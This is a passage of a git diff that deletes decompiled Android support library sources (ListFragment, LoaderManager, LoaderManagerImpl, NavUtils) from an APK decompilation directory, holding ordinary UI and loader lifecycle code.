- public void onViewCreated(View view, Bundle bundle) { - super.onViewCreated(view, bundle); - ensureList(); - } - - @Override // android.support.v4.app.Fragment - public void onDestroyView() { - this.mHandler.removeCallbacks(this.mRequestFocus); - this.mList = null; - this.mListShown = false; - this.mListContainer = null; - this.mProgressContainer = null; - this.mEmptyView = null; - this.mStandardEmptyView = null; - super.onDestroyView(); - } - - public void setListAdapter(ListAdapter listAdapter) { - boolean z = this.mAdapter != null; - this.mAdapter = listAdapter; - ListView listView = this.mList; - if (listView != null) { - listView.setAdapter(listAdapter); - if (this.mListShown || z) { - return; - } - setListShown(true, getView().getWindowToken() != null); - } - } - - public void setSelection(int i) { - ensureList(); - this.mList.setSelection(i); - } - - public int getSelectedItemPosition() { - ensureList(); - return this.mList.getSelectedItemPosition(); - } - - public long getSelectedItemId() { - ensureList(); - return this.mList.getSelectedItemId(); - } - - public ListView getListView() { - ensureList(); - return this.mList; - } - - public void setEmptyText(CharSequence charSequence) { - ensureList(); - TextView textView = this.mStandardEmptyView; - if (textView == null) { - throw new IllegalStateException("Can't be used with a custom content view"); - } - textView.setText(charSequence); - if (this.mEmptyText == null) { - this.mList.setEmptyView(this.mStandardEmptyView); - } - this.mEmptyText = charSequence; - } - - public void setListShown(boolean z) { - setListShown(z, true); - } - - public void setListShownNoAnimation(boolean z) { - setListShown(z, false); - } - - private void setListShown(boolean z, boolean z2) { - ensureList(); - View view = this.mProgressContainer; - if (view == null) { - throw new IllegalStateException("Can't be used with a custom content view"); - } - if (this.mListShown == z) { - return; - } - this.mListShown = z; - if (z) { - if (z2) { - view.startAnimation(AnimationUtils.loadAnimation(getContext(), 17432577)); - this.mListContainer.startAnimation(AnimationUtils.loadAnimation(getContext(), 17432576)); - } else { - view.clearAnimation(); - this.mListContainer.clearAnimation(); - } - this.mProgressContainer.setVisibility(8); - this.mListContainer.setVisibility(0); - return; - } - if (z2) { - view.startAnimation(AnimationUtils.loadAnimation(getContext(), 17432576)); - this.mListContainer.startAnimation(AnimationUtils.loadAnimation(getContext(), 17432577)); - } else { - view.clearAnimation(); - this.mListContainer.clearAnimation(); - } - this.mProgressContainer.setVisibility(0); - this.mListContainer.setVisibility(8); - } - - public ListAdapter getListAdapter() { - return this.mAdapter; - } - - private void ensureList() { - if (this.mList != null) { - return; - } - View view = getView(); - if (view == null) { - throw new IllegalStateException("Content view not yet created"); - } - if (view instanceof ListView) { - this.mList = (ListView) view; - } else { - TextView textView = (TextView) view.findViewById(INTERNAL_EMPTY_ID); - this.mStandardEmptyView = textView; - if (textView == null) { - this.mEmptyView = view.findViewById(16908292); - } else { - textView.setVisibility(8); - } - this.mProgressContainer = view.findViewById(INTERNAL_PROGRESS_CONTAINER_ID); - this.mListContainer = view.findViewById(INTERNAL_LIST_CONTAINER_ID); - View findViewById = view.findViewById(16908298); - if (!(findViewById instanceof ListView)) { - if (findViewById == null) { - throw new RuntimeException("Your content must have a ListView whose id attribute is 'android.R.id.list'"); - } - throw new RuntimeException("Content has view with id attribute 'android.R.id.list' that is not a ListView class"); - } - ListView listView = (ListView) findViewById; - this.mList = listView; - View view2 = this.mEmptyView; - if (view2 != null) { - listView.setEmptyView(view2); - } else { - CharSequence charSequence = this.mEmptyText; - if (charSequence != null) { - this.mStandardEmptyView.setText(charSequence); - this.mList.setEmptyView(this.mStandardEmptyView); - } - } - } - this.mListShown = true; - this.mList.setOnItemClickListener(this.mOnClickListener); - ListAdapter listAdapter = this.mAdapter; - if (listAdapter != null) { - this.mAdapter = null; - setListAdapter(listAdapter); - } else if (this.mProgressContainer != null) { - setListShown(false, false); - } - this.mHandler.post(this.mRequestFocus); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/LoaderManager.java b/apk_3230/decompiled_source/sources/android/support/v4/app/LoaderManager.java deleted file mode 100644 index 42cc8bc..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/LoaderManager.java +++ /dev/null @@ -1,36 +0,0 @@ -package android.support.v4.app; - -import android.os.Bundle; -import android.support.v4.content.Loader; -import java.io.FileDescriptor; -import java.io.PrintWriter; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class LoaderManager { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface LoaderCallbacks { - Loader onCreateLoader(int i, Bundle bundle); - - void onLoadFinished(Loader loader, D d); - - void onLoaderReset(Loader loader); - } - - public abstract void destroyLoader(int i); - - public abstract void dump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr); - - public abstract Loader getLoader(int i); - - public boolean hasRunningLoaders() { - return false; - } - - public abstract Loader initLoader(int i, Bundle bundle, LoaderCallbacks loaderCallbacks); - - public abstract Loader restartLoader(int i, Bundle bundle, LoaderCallbacks loaderCallbacks); - - public static void enableDebugLogging(boolean z) { - LoaderManagerImpl.DEBUG = z; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/LoaderManagerImpl.java b/apk_3230/decompiled_source/sources/android/support/v4/app/LoaderManagerImpl.java deleted file mode 100644 index d5b022c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/LoaderManagerImpl.java +++ /dev/null @@ -1,653 +0,0 @@ -package android.support.v4.app; - -import android.os.Bundle; -import android.support.v4.app.LoaderManager; -import android.support.v4.content.Loader; -import android.support.v4.util.DebugUtils; -import android.support.v4.util.SparseArrayCompat; -import android.util.Log; -import java.io.FileDescriptor; -import java.io.PrintWriter; -import java.lang.reflect.Modifier; -/* JADX INFO: Access modifiers changed from: package-private */ -/* compiled from: LoaderManager.java */ -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class LoaderManagerImpl extends LoaderManager { - static boolean DEBUG = false; - static final String TAG = "LoaderManager"; - boolean mCreatingLoader; - FragmentHostCallback mHost; - boolean mRetaining; - boolean mRetainingStarted; - boolean mStarted; - final String mWho; - final SparseArrayCompat mLoaders = new SparseArrayCompat<>(); - final SparseArrayCompat mInactiveLoaders = new SparseArrayCompat<>(); - - /* JADX INFO: Access modifiers changed from: package-private */ - /* compiled from: LoaderManager.java */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public final class LoaderInfo implements Loader.OnLoadCompleteListener, Loader.OnLoadCanceledListener { - final Bundle mArgs; - LoaderManager.LoaderCallbacks mCallbacks; - Object mData; - boolean mDeliveredData; - boolean mDestroyed; - boolean mHaveData; - final int mId; - boolean mListenerRegistered; - Loader mLoader; - LoaderInfo mPendingLoader; - boolean mReportNextStart; - boolean mRetaining; - boolean mRetainingStarted; - boolean mStarted; - - public LoaderInfo(int i, Bundle bundle, LoaderManager.LoaderCallbacks loaderCallbacks) { - this.mId = i; - this.mArgs = bundle; - this.mCallbacks = loaderCallbacks; - } - - void start() { - LoaderManager.LoaderCallbacks loaderCallbacks; - if (this.mRetaining && this.mRetainingStarted) { - this.mStarted = true; - } else if (this.mStarted) { - } else { - this.mStarted = true; - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Starting: " + this); - } - if (this.mLoader == null && (loaderCallbacks = this.mCallbacks) != null) { - this.mLoader = loaderCallbacks.onCreateLoader(this.mId, this.mArgs); - } - Loader loader = this.mLoader; - if (loader != null) { - if (loader.getClass().isMemberClass() && !Modifier.isStatic(this.mLoader.getClass().getModifiers())) { - throw new IllegalArgumentException("Object returned from onCreateLoader must not be a non-static inner member class: " + this.mLoader); - } - if (!this.mListenerRegistered) { - this.mLoader.registerListener(this.mId, this); - this.mLoader.registerOnLoadCanceledListener(this); - this.mListenerRegistered = true; - } - this.mLoader.startLoading(); - } - } - } - - void retain() { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Retaining: " + this); - } - this.mRetaining = true; - this.mRetainingStarted = this.mStarted; - this.mStarted = false; - this.mCallbacks = null; - } - - void finishRetain() { - if (this.mRetaining) { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Finished Retaining: " + this); - } - this.mRetaining = false; - boolean z = this.mStarted; - if (z != this.mRetainingStarted && !z) { - stop(); - } - } - if (this.mStarted && this.mHaveData && !this.mReportNextStart) { - callOnLoadFinished(this.mLoader, this.mData); - } - } - - void reportStart() { - if (this.mStarted && this.mReportNextStart) { - this.mReportNextStart = false; - if (!this.mHaveData || this.mRetaining) { - return; - } - callOnLoadFinished(this.mLoader, this.mData); - } - } - - void stop() { - Loader loader; - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Stopping: " + this); - } - this.mStarted = false; - if (this.mRetaining || (loader = this.mLoader) == null || !this.mListenerRegistered) { - return; - } - this.mListenerRegistered = false; - loader.unregisterListener(this); - this.mLoader.unregisterOnLoadCanceledListener(this); - this.mLoader.stopLoading(); - } - - boolean cancel() { - Loader loader; - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Canceling: " + this); - } - if (this.mStarted && (loader = this.mLoader) != null && this.mListenerRegistered) { - boolean cancelLoad = loader.cancelLoad(); - if (!cancelLoad) { - onLoadCanceled(this.mLoader); - } - return cancelLoad; - } - return false; - } - - void destroy() { - String str; - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Destroying: " + this); - } - this.mDestroyed = true; - boolean z = this.mDeliveredData; - this.mDeliveredData = false; - if (this.mCallbacks != null && this.mLoader != null && this.mHaveData && z) { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Resetting: " + this); - } - if (LoaderManagerImpl.this.mHost != null) { - str = LoaderManagerImpl.this.mHost.mFragmentManager.mNoTransactionsBecause; - LoaderManagerImpl.this.mHost.mFragmentManager.mNoTransactionsBecause = "onLoaderReset"; - } else { - str = null; - } - try { - this.mCallbacks.onLoaderReset(this.mLoader); - } finally { - if (LoaderManagerImpl.this.mHost != null) { - LoaderManagerImpl.this.mHost.mFragmentManager.mNoTransactionsBecause = str; - } - } - } - this.mCallbacks = null; - this.mData = null; - this.mHaveData = false; - Loader loader = this.mLoader; - if (loader != null) { - if (this.mListenerRegistered) { - this.mListenerRegistered = false; - loader.unregisterListener(this); - this.mLoader.unregisterOnLoadCanceledListener(this); - } - this.mLoader.reset(); - } - LoaderInfo loaderInfo = this.mPendingLoader; - if (loaderInfo != null) { - loaderInfo.destroy(); - } - } - - @Override // android.support.v4.content.Loader.OnLoadCanceledListener - public void onLoadCanceled(Loader loader) { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, "onLoadCanceled: " + this); - } - if (this.mDestroyed) { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Ignoring load canceled -- destroyed"); - } - } else if (LoaderManagerImpl.this.mLoaders.get(this.mId) != this) { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Ignoring load canceled -- not active"); - } - } else { - LoaderInfo loaderInfo = this.mPendingLoader; - if (loaderInfo != null) { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Switching to pending loader: " + loaderInfo); - } - this.mPendingLoader = null; - LoaderManagerImpl.this.mLoaders.put(this.mId, null); - destroy(); - LoaderManagerImpl.this.installLoader(loaderInfo); - } - } - } - - @Override // android.support.v4.content.Loader.OnLoadCompleteListener - public void onLoadComplete(Loader loader, Object obj) { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, "onLoadComplete: " + this); - } - if (this.mDestroyed) { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Ignoring load complete -- destroyed"); - } - } else if (LoaderManagerImpl.this.mLoaders.get(this.mId) != this) { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Ignoring load complete -- not active"); - } - } else { - LoaderInfo loaderInfo = this.mPendingLoader; - if (loaderInfo != null) { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " Switching to pending loader: " + loaderInfo); - } - this.mPendingLoader = null; - LoaderManagerImpl.this.mLoaders.put(this.mId, null); - destroy(); - LoaderManagerImpl.this.installLoader(loaderInfo); - return; - } - if (this.mData != obj || !this.mHaveData) { - this.mData = obj; - this.mHaveData = true; - if (this.mStarted) { - callOnLoadFinished(loader, obj); - } - } - LoaderInfo loaderInfo2 = LoaderManagerImpl.this.mInactiveLoaders.get(this.mId); - if (loaderInfo2 != null && loaderInfo2 != this) { - loaderInfo2.mDeliveredData = false; - loaderInfo2.destroy(); - LoaderManagerImpl.this.mInactiveLoaders.remove(this.mId); - } - if (LoaderManagerImpl.this.mHost == null || LoaderManagerImpl.this.hasRunningLoaders()) { - return; - } - LoaderManagerImpl.this.mHost.mFragmentManager.startPendingDeferredFragments(); - } - } - - void callOnLoadFinished(Loader loader, Object obj) { - String str; - if (this.mCallbacks != null) { - if (LoaderManagerImpl.this.mHost != null) { - str = LoaderManagerImpl.this.mHost.mFragmentManager.mNoTransactionsBecause; - LoaderManagerImpl.this.mHost.mFragmentManager.mNoTransactionsBecause = "onLoadFinished"; - } else { - str = null; - } - try { - if (LoaderManagerImpl.DEBUG) { - Log.v(LoaderManagerImpl.TAG, " onLoadFinished in " + loader + ": " + loader.dataToString(obj)); - } - this.mCallbacks.onLoadFinished(loader, obj); - this.mDeliveredData = true; - } finally { - if (LoaderManagerImpl.this.mHost != null) { - LoaderManagerImpl.this.mHost.mFragmentManager.mNoTransactionsBecause = str; - } - } - } - } - - public String toString() { - StringBuilder sb = new StringBuilder(64); - sb.append("LoaderInfo{"); - sb.append(Integer.toHexString(System.identityHashCode(this))); - sb.append(" #"); - sb.append(this.mId); - sb.append(" : "); - DebugUtils.buildShortClassTag(this.mLoader, sb); - sb.append("}}"); - return sb.toString(); - } - - public void dump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - printWriter.print(str); - printWriter.print("mId="); - printWriter.print(this.mId); - printWriter.print(" mArgs="); - printWriter.println(this.mArgs); - printWriter.print(str); - printWriter.print("mCallbacks="); - printWriter.println(this.mCallbacks); - printWriter.print(str); - printWriter.print("mLoader="); - printWriter.println(this.mLoader); - Loader loader = this.mLoader; - if (loader != null) { - loader.dump(str + " ", fileDescriptor, printWriter, strArr); - } - if (this.mHaveData || this.mDeliveredData) { - printWriter.print(str); - printWriter.print("mHaveData="); - printWriter.print(this.mHaveData); - printWriter.print(" mDeliveredData="); - printWriter.println(this.mDeliveredData); - printWriter.print(str); - printWriter.print("mData="); - printWriter.println(this.mData); - } - printWriter.print(str); - printWriter.print("mStarted="); - printWriter.print(this.mStarted); - printWriter.print(" mReportNextStart="); - printWriter.print(this.mReportNextStart); - printWriter.print(" mDestroyed="); - printWriter.println(this.mDestroyed); - printWriter.print(str); - printWriter.print("mRetaining="); - printWriter.print(this.mRetaining); - printWriter.print(" mRetainingStarted="); - printWriter.print(this.mRetainingStarted); - printWriter.print(" mListenerRegistered="); - printWriter.println(this.mListenerRegistered); - if (this.mPendingLoader != null) { - printWriter.print(str); - printWriter.println("Pending Loader "); - printWriter.print(this.mPendingLoader); - printWriter.println(":"); - this.mPendingLoader.dump(str + " ", fileDescriptor, printWriter, strArr); - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public LoaderManagerImpl(String str, FragmentHostCallback fragmentHostCallback, boolean z) { - this.mWho = str; - this.mHost = fragmentHostCallback; - this.mStarted = z; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void updateHostController(FragmentHostCallback fragmentHostCallback) { - this.mHost = fragmentHostCallback; - } - - private LoaderInfo createLoader(int i, Bundle bundle, LoaderManager.LoaderCallbacks loaderCallbacks) { - LoaderInfo loaderInfo = new LoaderInfo(i, bundle, loaderCallbacks); - loaderInfo.mLoader = loaderCallbacks.onCreateLoader(i, bundle); - return loaderInfo; - } - - private LoaderInfo createAndInstallLoader(int i, Bundle bundle, LoaderManager.LoaderCallbacks loaderCallbacks) { - try { - this.mCreatingLoader = true; - LoaderInfo createLoader = createLoader(i, bundle, loaderCallbacks); - installLoader(createLoader); - return createLoader; - } finally { - this.mCreatingLoader = false; - } - } - - void installLoader(LoaderInfo loaderInfo) { - this.mLoaders.put(loaderInfo.mId, loaderInfo); - if (this.mStarted) { - loaderInfo.start(); - } - } - - @Override // android.support.v4.app.LoaderManager - public Loader initLoader(int i, Bundle bundle, LoaderManager.LoaderCallbacks loaderCallbacks) { - if (this.mCreatingLoader) { - throw new IllegalStateException("Called while creating a loader"); - } - LoaderInfo loaderInfo = this.mLoaders.get(i); - if (DEBUG) { - Log.v(TAG, "initLoader in " + this + ": args=" + bundle); - } - if (loaderInfo == null) { - loaderInfo = createAndInstallLoader(i, bundle, loaderCallbacks); - if (DEBUG) { - Log.v(TAG, " Created new loader " + loaderInfo); - } - } else { - if (DEBUG) { - Log.v(TAG, " Re-using existing loader " + loaderInfo); - } - loaderInfo.mCallbacks = loaderCallbacks; - } - if (loaderInfo.mHaveData && this.mStarted) { - loaderInfo.callOnLoadFinished(loaderInfo.mLoader, loaderInfo.mData); - } - return (Loader) loaderInfo.mLoader; - } - - @Override // android.support.v4.app.LoaderManager - public Loader restartLoader(int i, Bundle bundle, LoaderManager.LoaderCallbacks loaderCallbacks) { - if (this.mCreatingLoader) { - throw new IllegalStateException("Called while creating a loader"); - } - LoaderInfo loaderInfo = this.mLoaders.get(i); - if (DEBUG) { - Log.v(TAG, "restartLoader in " + this + ": args=" + bundle); - } - if (loaderInfo != null) { - LoaderInfo loaderInfo2 = this.mInactiveLoaders.get(i); - if (loaderInfo2 != null) { - if (loaderInfo.mHaveData) { - if (DEBUG) { - Log.v(TAG, " Removing last inactive loader: " + loaderInfo); - } - loaderInfo2.mDeliveredData = false; - loaderInfo2.destroy(); - loaderInfo.mLoader.abandon(); - this.mInactiveLoaders.put(i, loaderInfo); - } else if (!loaderInfo.cancel()) { - if (DEBUG) { - Log.v(TAG, " Current loader is stopped; replacing"); - } - this.mLoaders.put(i, null); - loaderInfo.destroy(); - } else { - if (DEBUG) { - Log.v(TAG, " Current loader is running; configuring pending loader"); - } - if (loaderInfo.mPendingLoader != null) { - if (DEBUG) { - Log.v(TAG, " Removing pending loader: " + loaderInfo.mPendingLoader); - } - loaderInfo.mPendingLoader.destroy(); - loaderInfo.mPendingLoader = null; - } - if (DEBUG) { - Log.v(TAG, " Enqueuing as new pending loader"); - } - loaderInfo.mPendingLoader = createLoader(i, bundle, loaderCallbacks); - return (Loader) loaderInfo.mPendingLoader.mLoader; - } - } else { - if (DEBUG) { - Log.v(TAG, " Making last loader inactive: " + loaderInfo); - } - loaderInfo.mLoader.abandon(); - this.mInactiveLoaders.put(i, loaderInfo); - } - } - return (Loader) createAndInstallLoader(i, bundle, loaderCallbacks).mLoader; - } - - @Override // android.support.v4.app.LoaderManager - public void destroyLoader(int i) { - if (this.mCreatingLoader) { - throw new IllegalStateException("Called while creating a loader"); - } - if (DEBUG) { - Log.v(TAG, "destroyLoader in " + this + " of " + i); - } - int indexOfKey = this.mLoaders.indexOfKey(i); - if (indexOfKey >= 0) { - this.mLoaders.removeAt(indexOfKey); - this.mLoaders.valueAt(indexOfKey).destroy(); - } - int indexOfKey2 = this.mInactiveLoaders.indexOfKey(i); - if (indexOfKey2 >= 0) { - this.mInactiveLoaders.removeAt(indexOfKey2); - this.mInactiveLoaders.valueAt(indexOfKey2).destroy(); - } - if (this.mHost == null || hasRunningLoaders()) { - return; - } - this.mHost.mFragmentManager.startPendingDeferredFragments(); - } - - @Override // android.support.v4.app.LoaderManager - public Loader getLoader(int i) { - if (this.mCreatingLoader) { - throw new IllegalStateException("Called while creating a loader"); - } - LoaderInfo loaderInfo = this.mLoaders.get(i); - if (loaderInfo != null) { - if (loaderInfo.mPendingLoader != null) { - return (Loader) loaderInfo.mPendingLoader.mLoader; - } - return (Loader) loaderInfo.mLoader; - } - return null; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void doStart() { - if (DEBUG) { - Log.v(TAG, "Starting in " + this); - } - if (this.mStarted) { - RuntimeException runtimeException = new RuntimeException("here"); - runtimeException.fillInStackTrace(); - Log.w(TAG, "Called doStart when already started: " + this, runtimeException); - return; - } - this.mStarted = true; - for (int size = this.mLoaders.size() - 1; size >= 0; size--) { - this.mLoaders.valueAt(size).start(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void doStop() { - if (DEBUG) { - Log.v(TAG, "Stopping in " + this); - } - if (!this.mStarted) { - RuntimeException runtimeException = new RuntimeException("here"); - runtimeException.fillInStackTrace(); - Log.w(TAG, "Called doStop when not started: " + this, runtimeException); - return; - } - for (int size = this.mLoaders.size() - 1; size >= 0; size--) { - this.mLoaders.valueAt(size).stop(); - } - this.mStarted = false; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void doRetain() { - if (DEBUG) { - Log.v(TAG, "Retaining in " + this); - } - if (!this.mStarted) { - RuntimeException runtimeException = new RuntimeException("here"); - runtimeException.fillInStackTrace(); - Log.w(TAG, "Called doRetain when not started: " + this, runtimeException); - return; - } - this.mRetaining = true; - this.mStarted = false; - for (int size = this.mLoaders.size() - 1; size >= 0; size--) { - this.mLoaders.valueAt(size).retain(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void finishRetain() { - if (this.mRetaining) { - if (DEBUG) { - Log.v(TAG, "Finished Retaining in " + this); - } - this.mRetaining = false; - for (int size = this.mLoaders.size() - 1; size >= 0; size--) { - this.mLoaders.valueAt(size).finishRetain(); - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void doReportNextStart() { - for (int size = this.mLoaders.size() - 1; size >= 0; size--) { - this.mLoaders.valueAt(size).mReportNextStart = true; - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void doReportStart() { - for (int size = this.mLoaders.size() - 1; size >= 0; size--) { - this.mLoaders.valueAt(size).reportStart(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void doDestroy() { - if (!this.mRetaining) { - if (DEBUG) { - Log.v(TAG, "Destroying Active in " + this); - } - for (int size = this.mLoaders.size() - 1; size >= 0; size--) { - this.mLoaders.valueAt(size).destroy(); - } - this.mLoaders.clear(); - } - if (DEBUG) { - Log.v(TAG, "Destroying Inactive in " + this); - } - for (int size2 = this.mInactiveLoaders.size() - 1; size2 >= 0; size2--) { - this.mInactiveLoaders.valueAt(size2).destroy(); - } - this.mInactiveLoaders.clear(); - } - - public String toString() { - StringBuilder sb = new StringBuilder(128); - sb.append("LoaderManager{"); - sb.append(Integer.toHexString(System.identityHashCode(this))); - sb.append(" in "); - DebugUtils.buildShortClassTag(this.mHost, sb); - sb.append("}}"); - return sb.toString(); - } - - @Override // android.support.v4.app.LoaderManager - public void dump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - if (this.mLoaders.size() > 0) { - printWriter.print(str); - printWriter.println("Active Loaders:"); - String str2 = str + " "; - for (int i = 0; i < this.mLoaders.size(); i++) { - LoaderInfo valueAt = this.mLoaders.valueAt(i); - printWriter.print(str); - printWriter.print(" #"); - printWriter.print(this.mLoaders.keyAt(i)); - printWriter.print(": "); - printWriter.println(valueAt.toString()); - valueAt.dump(str2, fileDescriptor, printWriter, strArr); - } - } - if (this.mInactiveLoaders.size() > 0) { - printWriter.print(str); - printWriter.println("Inactive Loaders:"); - String str3 = str + " "; - for (int i2 = 0; i2 < this.mInactiveLoaders.size(); i2++) { - LoaderInfo valueAt2 = this.mInactiveLoaders.valueAt(i2); - printWriter.print(str); - printWriter.print(" #"); - printWriter.print(this.mInactiveLoaders.keyAt(i2)); - printWriter.print(": "); - printWriter.println(valueAt2.toString()); - valueAt2.dump(str3, fileDescriptor, printWriter, strArr); - } - } - } - - @Override // android.support.v4.app.LoaderManager - public boolean hasRunningLoaders() { - int size = this.mLoaders.size(); - boolean z = false; - for (int i = 0; i < size; i++) { - LoaderInfo valueAt = this.mLoaders.valueAt(i); - z |= valueAt.mStarted && !valueAt.mDeliveredData; - } - return z; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NavUtils.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NavUtils.java deleted file mode 100644 index 7488173..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NavUtils.java +++ /dev/null @@ -1,166 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.ComponentName; -import android.content.Context; -import android.content.Intent; -import android.content.pm.ActivityInfo; -import android.content.pm.PackageManager; -import android.support.v4.content.IntentCompat; -import android.util.Log; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class NavUtils { - private static final NavUtilsImpl IMPL = new NavUtilsImplJB(); - public static final String PARENT_ACTIVITY = "android.support.PARENT_ACTIVITY"; - private static final String TAG = "NavUtils"; - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface NavUtilsImpl { - Intent getParentActivityIntent(Activity activity); - - String getParentActivityName(Context context, ActivityInfo activityInfo); - - void navigateUpTo(Activity activity, Intent intent); - - boolean shouldUpRecreateTask(Activity activity, Intent intent); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class NavUtilsImplBase implements NavUtilsImpl { - NavUtilsImplBase() { - } - - @Override // android.support.v4.app.NavUtils.NavUtilsImpl - public Intent getParentActivityIntent(Activity activity) { - String parentActivityName = NavUtils.getParentActivityName(activity); - if (parentActivityName == null) { - return null; - } - ComponentName componentName = new ComponentName(activity, parentActivityName); - try { - if (NavUtils.getParentActivityName(activity, componentName) == null) { - return IntentCompat.makeMainActivity(componentName); - } - return new Intent().setComponent(componentName); - } catch (PackageManager.NameNotFoundException unused) { - Log.e(NavUtils.TAG, "getParentActivityIntent: bad parentActivityName '" + parentActivityName + "' in manifest"); - return null; - } - } - - @Override // android.support.v4.app.NavUtils.NavUtilsImpl - public boolean shouldUpRecreateTask(Activity activity, Intent intent) { - String action = activity.getIntent().getAction(); - return (action == null || action.equals("android.intent.action.MAIN")) ? false : true; - } - - @Override // android.support.v4.app.NavUtils.NavUtilsImpl - public void navigateUpTo(Activity activity, Intent intent) { - intent.addFlags(67108864); - activity.startActivity(intent); - activity.finish(); - } - - @Override // android.support.v4.app.NavUtils.NavUtilsImpl - public String getParentActivityName(Context context, ActivityInfo activityInfo) { - String string; - if (activityInfo.metaData == null || (string = activityInfo.metaData.getString(NavUtils.PARENT_ACTIVITY)) == null) { - return null; - } - return string.charAt(0) == '.' ? context.getPackageName() + string : string; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class NavUtilsImplJB extends NavUtilsImplBase { - NavUtilsImplJB() { - } - - @Override // android.support.v4.app.NavUtils.NavUtilsImplBase, android.support.v4.app.NavUtils.NavUtilsImpl - public Intent getParentActivityIntent(Activity activity) { - Intent parentActivityIntent = NavUtilsJB.getParentActivityIntent(activity); - return parentActivityIntent == null ? superGetParentActivityIntent(activity) : parentActivityIntent; - } - - Intent superGetParentActivityIntent(Activity activity) { - return super.getParentActivityIntent(activity); - } - - @Override // android.support.v4.app.NavUtils.NavUtilsImplBase, android.support.v4.app.NavUtils.NavUtilsImpl - public boolean shouldUpRecreateTask(Activity activity, Intent intent) { - return NavUtilsJB.shouldUpRecreateTask(activity, intent); - } - - @Override // android.support.v4.app.NavUtils.NavUtilsImplBase, android.support.v4.app.NavUtils.NavUtilsImpl - public void navigateUpTo(Activity activity, Intent intent) { - NavUtilsJB.navigateUpTo(activity, intent); - } - - @Override // android.support.v4.app.NavUtils.NavUtilsImplBase, android.support.v4.app.NavUtils.NavUtilsImpl - public String getParentActivityName(Context context, ActivityInfo activityInfo) { - String parentActivityName = NavUtilsJB.getParentActivityName(activityInfo); - return parentActivityName == null ? super.getParentActivityName(context, activityInfo) : parentActivityName; - } - } - - public static boolean shouldUpRecreateTask(Activity activity, Intent intent) { - return IMPL.shouldUpRecreateTask(activity, intent); - } - - public static void navigateUpFromSameTask(Activity activity) { - Intent parentActivityIntent = getParentActivityIntent(activity); - if (parentActivityIntent == null) { - throw new IllegalArgumentException("Activity " + activity.getClass().getSimpleName() + " does not have a parent activity name specified. (Did you forget to add the android.support.PARENT_ACTIVITY element in your manifest?)"); - } - navigateUpTo(activity, parentActivityIntent); - } - - public static void navigateUpTo(Activity activity, Intent intent) { - IMPL.navigateUpTo(activity, intent); - } - - public static Intent getParentActivityIntent(Activity activity) { - return IMPL.getParentActivityIntent(activity); - } - - public static Intent getParentActivityIntent(Context context, Class cls) throws PackageManager.NameNotFoundException { - String parentActivityName = getParentActivityName(context, new ComponentName(context, cls)); - if (parentActivityName == null) { - return null; - } - ComponentName componentName = new ComponentName(context, parentActivityName); - if (getParentActivityName(context, componentName) == null) { - return IntentCompat.makeMainActivity(componentName); - } - return new Intent().setComponent(componentName); - } - - public static Intent getParentActivityIntent(Context context, ComponentName componentName) throws PackageManager.NameNotFoundException { - String parentActivityName = getParentActivityName(context, componentName); - if (parentActivityName == null) { - return null; - } - ComponentName componentName2 = new ComponentName(componentName.getPackageName(), parentActivityName); - if (getParentActivityName(context, componentName2) == null) { - return IntentCompat.makeMainActivity(componentName2); - } - return new Intent().setComponent(componentName2); - } - - public static String getParentActivityName(Activity activity) { - try { - return getParentActivityName(activity, activity.getComponentName()); - } catch (PackageManager.NameNotFoundException e) { - throw new IllegalArgumentException(e); - } - } - - public static String getParentActivityName(Context context, ComponentName componentName) throws PackageManager.NameNotFoundException { - return IMPL.getParentActivityName(context, context.getPackageManager().getActivityInfo(componentName, 128)); - } - - private NavUtils() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NavUtilsJB.java 